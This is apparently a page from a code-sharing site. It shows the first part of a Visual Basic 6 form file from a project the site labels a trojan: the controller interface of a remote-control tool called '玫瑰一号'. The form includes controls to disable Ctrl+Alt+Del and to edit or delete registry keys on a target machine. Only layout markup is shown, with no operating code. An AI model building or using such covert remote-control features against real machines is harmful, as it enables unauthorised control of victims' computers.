frmmain.frm
来自「一个较为完整的VB木马程序。只是文件上传功能还不太完善。」· FRM 代码 · 共 1,743 行 · 第 1/5 页
FRM
1,743 行
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Begin VB.Form FrmMain
BorderStyle = 3 'Fixed Dialog
Caption = "玫瑰一号"
ClientHeight = 5805
ClientLeft = 150
ClientTop = 150
ClientWidth = 7485
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Icon = "FrmMain.frx":0000
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 5805
ScaleWidth = 7485
StartUpPosition = 2 '屏幕中心
Begin VB.PictureBox FrmDialog
Height = 7455
Index = 1
Left = 0
ScaleHeight = 7395
ScaleWidth = 9195
TabIndex = 0
Top = 0
Width = 9255
Begin VB.Frame FrmOptions
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 3975
Index = 0
Left = 720
TabIndex = 2
Top = 1080
Width = 6135
Begin VB.PictureBox Picture1
Height = 495
Left = 120
Picture = "FrmMain.frx":1272
ScaleHeight = 435
ScaleWidth = 435
TabIndex = 191
Top = 480
Width = 495
End
Begin VB.Label Label16
Caption = "软件设计人： 毒宫玫瑰"
BeginProperty Font
Name = "华文中宋"
Size = 12
Charset = 134
Weight = 700
Underline = 0 'False
Italic = -1 'True
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 2280
TabIndex = 192
Top = 2520
Width = 3735
End
Begin VB.Label Label15
Caption = " 欢迎使用玫瑰一号远程控制系统，这是我第一次用VB开发远程控制软件，有些地方还不是十分成熟，希望各位使用者能给予指点。"
BeginProperty Font
Name = "华文中宋"
Size = 12
Charset = 134
Weight = 700
Underline = 0 'False
Italic = -1 'True
Strikethrough = 0 'False
EndProperty
Height = 1095
Left = 720
TabIndex = 190
Top = 480
Width = 5295
End
End
Begin VB.Frame FrmOptions
Caption = "控制选项"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 3975
Index = 14
Left = 720
TabIndex = 183
Top = 1080
Width = 6135
Begin VB.CommandButton CmdViewControls
Caption = "其他控制"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 2760
TabIndex = 188
Top = 960
Width = 1095
End
Begin VB.CommandButton CmdEnableCtrlAltDel
Caption = "恢复"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 2760
TabIndex = 186
Top = 360
Width = 1095
End
Begin VB.CommandButton CmdDisableCtrlAltDel
Caption = "失效"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 1560
TabIndex = 185
Top = 360
Width = 1095
End
Begin VB.Image Image29
Height = 480
Left = 5400
Picture = "FrmMain.frx":14F4
Top = 3240
Width = 480
End
Begin VB.Label Label82
AutoSize = -1 'True
BackStyle = 0 'Transparent
Caption = "其他控制单击此处："
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 240
TabIndex = 187
Top = 1080
Width = 1620
End
Begin VB.Label Label81
AutoSize = -1 'True
BackStyle = 0 'Transparent
Caption = "Ctrl, Alt, Del:"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 240
TabIndex = 184
Top = 480
Width = 1035
End
End
Begin VB.Frame FrmOptions
Caption = "注册表选项"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 3975
Index = 13
Left = 720
TabIndex = 167
Top = 1080
Width = 6135
Begin VB.TextBox TextGetValue
Height = 285
Left = 720
TabIndex = 181
Top = 2280
Width = 3855
End
Begin VB.CommandButton CmdRegGet
Caption = "获取"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 4680
TabIndex = 180
Top = 2280
Width = 1095
End
Begin VB.CommandButton CmdRegSet
Caption = "设置"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 4680
TabIndex = 179
Top = 1680
Width = 1095
End
Begin VB.TextBox RegValueName
Height = 285
Left = 1440
TabIndex = 178
Top = 1680
Width = 3135
End
Begin VB.TextBox EntryName
Height = 285
Left = 1440
TabIndex = 177
Top = 1320
Width = 4335
End
Begin VB.TextBox RegPath
Height = 285
Left = 1440
TabIndex = 174
Top = 960
Width = 4335
End
Begin VB.OptionButton RegOpt4
Caption = "删除键"
Height = 255
Left = 4800
TabIndex = 172
Top = 360
Width = 1095
End
Begin VB.OptionButton RegOpt3
Caption = "创建键"
Height = 255
Left = 3480
TabIndex = 171
Top = 360
Width = 1215
End
Begin VB.OptionButton RegOpt2
Caption = "字符串"
Height = 255
Left = 2400
TabIndex = 170
Top = 360
Value = -1 'True
Width = 975
End
Begin VB.OptionButton RegOpt1
Caption = "二进制"
Height = 255
Left = 1320
TabIndex = 169
Top = 360
Width = 975
End
Begin VB.OptionButton RegOpt0
Caption = "双字"
Height = 255
Left = 240
TabIndex = 168
Top = 360
Width = 975
End
Begin VB.Label Label80
AutoSize = -1 'True
Caption = "<=>"
Height = 195
Left = 240
TabIndex = 182
Top = 2280
Width = 360
End
Begin VB.Image Image28
Height = 480
Left = 5400
Picture = "FrmMain.frx":1DBE
Top = 3240
Width = 480
End
Begin VB.Line Line2
X1 = 360
X2 = 6000
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?